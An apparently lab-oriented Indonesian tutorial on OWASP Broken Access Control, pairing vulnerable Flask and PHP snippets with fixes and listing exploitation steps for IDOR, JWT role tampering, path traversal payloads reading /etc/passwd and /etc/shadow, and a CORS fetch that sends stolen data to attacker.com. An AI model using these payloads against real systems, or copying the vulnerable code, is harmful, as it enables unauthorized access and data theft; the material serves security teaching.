A01 - Broken Access Control
Definisi dan Penjelasan
Broken Access Control (Kontrol Akses yang Rusak) adalah kerentanan keamanan yang terjadi ketika pengguna dapat mengakses sumber daya, fungsi, atau data yang seharusnya tidak diizinkan untuk mereka akses. Kontrol akses bertugas memastikan bahwa setiap pengguna hanya dapat melakukan aksi yang telah diotorisasi berdasarkan peran, identitas, atau kebijakan keamanan yang ditetapkan.
Dalam OWASP Top 10 2021, Broken Access Control menempati posisi pertama sebagai risiko keamanan web paling kritis. Hal ini disebabkan oleh prevalensi kerentanan ini yang sangat luas serta dampaknya yang sering kali bersifat parah - mulai dari kebocoran data pengguna hingga pengambilalihan sistem secara penuh.
Kontrol akses yang baik harus memenuhi tiga prinsip utama:
- Authentication - Memverifikasi identitas pengguna (siapa Anda?)
- Authorization - Memverifikasi hak akses pengguna (apa yang boleh Anda lakukan?)
- Audit - Mencatat semua akses untuk keperluan investigasi
Tipe-tipe Broken Access Control
1. Insecure Direct Object Reference (IDOR)
IDOR terjadi ketika aplikasi mengekspos referensi internal objek (seperti ID database, nomor akun, atau nama file) di URL atau parameter request, dan pengguna dapat memanipulasi referensi tersebut untuk mengakses data milik pengguna lain.
Contoh:
GET /api/users/12345/profile
GET /api/users/12346/profile → mengakses profil pengguna lain
2. Privilege Escalation
Terjadi ketika pengguna dengan hak terbatas dapat melakukan aksi yang seharusnya hanya diperbolehkan untuk pengguna dengan hak lebih tinggi (admin, superuser).
- Vertical Privilege Escalation: User biasa menjadi admin
- Horizontal Privilege Escalation: User biasa mengakses data user biasa lain
3. Path Traversal
Memungkinkan attacker mengakses file dan direktori di luar direktori yang seharusnya diizinkan.
Contoh:
GET /../../etc/passwd
GET /../../../etc/shadow
4. CORS Misconfiguration
Cross-Origin Resource Sharing (CORS) yang salah konfigurasi memungkinkan domain asing untuk mengakses resource aplikasi.
5. Forceful Browsing
Attacker menebak atau menemukan URL yang tidak diproteksi untuk mengakses halaman atau fungsi tersembunyi.
Dampak Keamanan
Dampak dari Broken Access Control sangat bervariasi tergantung pada konteks aplikasi:
| Dampak | Deskripsi |
|---|---|
| Kebocoran Data Sensitif | Data pengguna, data keuangan, atau data medis terekspos |
| Privilege Escalation | User biasa mendapatkan hak admin |
| Modifikasi Data Ilegal | Attacker mengubah data tanpa otorisasi |
| Penghapusan Data | Attacker menghapus data penting |
| Penyalahgunaan Fungsi | Attacker menjalankan fungsi admin |
Contoh Kerentanan (Code Snippets)
Contoh 1: IDOR pada REST API (Rentan)
# RENTAN - Tidak ada pengecekan kepemilikan resource
@app.route('/api/profile/<int:user_id>')
def get_profile(user_id):
user = User.query.get(user_id)
return jsonify(user.to_dict())
Contoh 2: IDOR yang Diperbaiki
# AMAN - Validasi kepemilikan resource
@app.route('/api/profile/<int:user_id>')
def get_profile(user_id):
current_user_id = session.get('user_id')
if current_user_id != user_id and not is_admin(current_user_id):
return jsonify({'error': 'Unauthorized'}), 403
user = User.query.get(user_id)
return jsonify(user.to_dict())
Contoh 3: Path Traversal (Rentan)
<?php
// RENTAN - Tidak ada sanitasi path
$file = $_GET['file'];
include("/var/www/files/" . $file);
?>
Eksploitasi: ?file=../../etc/passwd
Contoh 4: Path Traversal (Diperbaiki)
<?php
// AMAN - Validasi dan sanitasi path
$allowed_dir = realpath('/var/www/files/');
$file = realpath('/var/www/files/' . basename($_GET['file']));
if (strpos($file, $allowed_dir) !== 0) {
die('Access denied.');
}
include($file);
?>
Contoh 5: Role Bypass (Rentan)
// RENTAN - Hanya sembunyikan tombol admin di frontend
if (user.role === 'admin') {
document.getElementById('admin-panel').style.display = 'block';
}
Attacker bisa langsung mengakses /admin via URL tanpa
perlu tombol.
Contoh 6: Role Bypass (Diperbaiki)
# AMAN - Cek role di SERVER, bukan hanya frontend
@app.route('/admin')
@login_required
def admin_panel():
if not current_user.is_admin():
abort(403)
return render_template('admin.html')
Cara Eksploitasi (Relevan ke Lab)
1. Eksploitasi IDOR
- Login sebagai user A
- Catat endpoint API yang menggunakan ID numerik:
/api/order/1001 - Ubah angka tersebut menjadi
/api/order/1002 - Jika data pesanan user B muncul, IDOR berhasil
2. Eksploitasi Privilege Escalation
- Login dengan akun user biasa
- Capture cookie/token JWT
- Decode JWT di jwt.io
- Jika terdapat field
"role": "user", ubah menjadi"role": "admin" - Re-encode dengan algoritma yang sama
- Gunakan token baru untuk akses endpoint admin
3. Eksploitasi Path Traversal
- Temukan fitur download file
- Coba parameter:
?file=../../../etc/passwd - Gunakan encoding jika perlu:
%2e%2e%2fatau..%252f - Coba dengan absolute path:
?file=/etc/passwd
4. Eksploitasi CORS Misconfig
// Buat halaman HTML yang mencuri data
fetch('https://target.com/api/user/profile', {
credentials: 'include'
}).then(r => r.text()).then(d => fetch('https://attacker.com/steal?' + d));
Cara Pencegahan
1. Implementasi RBAC (Role-Based Access Control)
# Dekorator RBAC sederhana
def admin_required(f):
@wraps(f)
def decorated(*args, **kwargs):
if not current_user.is_admin():
return jsonify({'error': 'Admin access required'}), 403
return f(*args, **kwargs)
return decorated
@app.route('/admin/users')
@login_required
@admin_required
def admin_users():
users = User.query.all()
return jsonify([u.to_dict() for u in users])
2. Deny by Default
Semua akses harus ditolak secara default, kecuali secara eksplisit diizinkan.
@app.before_request
def check_access():
# Logika deny by default
if not has_permission(request.endpoint, current_user.role):
abort(403)
3. Validasi Server-Side Setiap Request
Jangan pernah mengandalkan validasi frontend saja.
4. Gunakan Access Control List (ACL)
ACL = {
'admin': ['read', 'write', 'delete', 'admin'],
'editor': ['read', 'write'],
'user': ['read'],
}
def has_permission(resource, action, user_role):
return action in ACL.get(user_role, [])
5. Implementasi Rate Limiting
from flask_limiter import Limiter
limiter = Limiter(app, key_func=lambda: current_user.id)
@app.route('/api/transfer')
@limiter.limit("5 per minute")
def transfer():
pass
6. Best Practices Lainnya
- Gunakan UUID sebagai pengganti ID numerik
- Jangan expose ID internal di URL
- Implementasikan logging akses yang komprehensif
- Lakukan penetration testing secara berkala
- Gunakan mekanisme CSRF token
CWE Mapping
| CWE | Deskripsi |
|---|---|
| CWE-284 | Improper Access Control (Kontrol Akses yang Tidak Tepat) |
| CWE-285 | Improper Authorization (Otorisasi yang Tidak Tepat) |
| CWE-639 | Authorization Bypass Through User-Controlled Key (IDOR) |
| CWE-22 | Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) |
| CWE-276 | Incorrect Default Permissions |
| CWE-732 | Incorrect Permission Assignment for Critical Resource |
Lab Terkait
Berikut adalah lab-lab dalam platform yang relevan dengan Broken Access Control:
| Lab | Konsep | Tingkat Kesulitan |
|---|---|---|
| Portal SQLi | Role bypass dengan SQL Injection | Medium |
| Job Portal | IDOR pada data pelamar kerja | Medium |
| Login API | JWT manipulation dan privilege escalation | Hard |
| Juice Shop | Berbagai skenario IDOR, admin panel, dan basket access | Easy-Hard |
| WebGoat | Path traversal, IDOR, dan access control flaws | Easy-Medium |
Contoh Konkret dari Lab
Juice Shop - Access Admin Panel
- Buka Juice Shop
- Akses langsung
/administrationatau cari dari source code - Jika tidak diblokir, Anda mendapatkan akses ke panel admin
Juice Shop - Basket Access (IDOR)
Endpoint: GET /api/Basket/{id}
Coba akses basket milik user lain dengan mengganti
{id}.
Jika berhasil, ini adalah IDOR classic.
Job Portal (Lab Platform)
- Login sebagai pelamar
- Cari endpoint yang menampilkan data resume:
/api/resume/1 - Ubah ID menjadi
/api/resume/2,/api/resume/3, dst. - Jika data resume user lain muncul, IDOR berhasil dikonfirmasi
Login API (Lab Platform) - JWT Privilege Escalation
- Login dengan akun user biasa
- Dapatkan JWT token dari response
- Decode JWT di jwt.io
- Jika payload berisi
"role": "user", ubah menjadi"role": "admin" - Buat ulang JWT tanpa verifikasi signature (jika
menggunakan algoritma
noneatau HS256 dengan secret lemah) - Gunakan token baru untuk mengakses endpoint admin
Kesimpulan
Broken Access Control adalah ancaman serius yang membutuhkan perhatian khusus dalam siklus pengembangan perangkat lunak. Dengan menerapkan prinsip deny by default, melakukan validasi otorisasi di server-side untuk setiap request, menggunakan RBAC yang ketat, serta melakukan pengecekan kepemilikan resource secara konsisten, risiko ini dapat diminimalisir secara signifikan. Selalu lakukan pengujian keamanan secara berkala untuk memastikan kontrol akses berfungsi sebagaimana mestinya.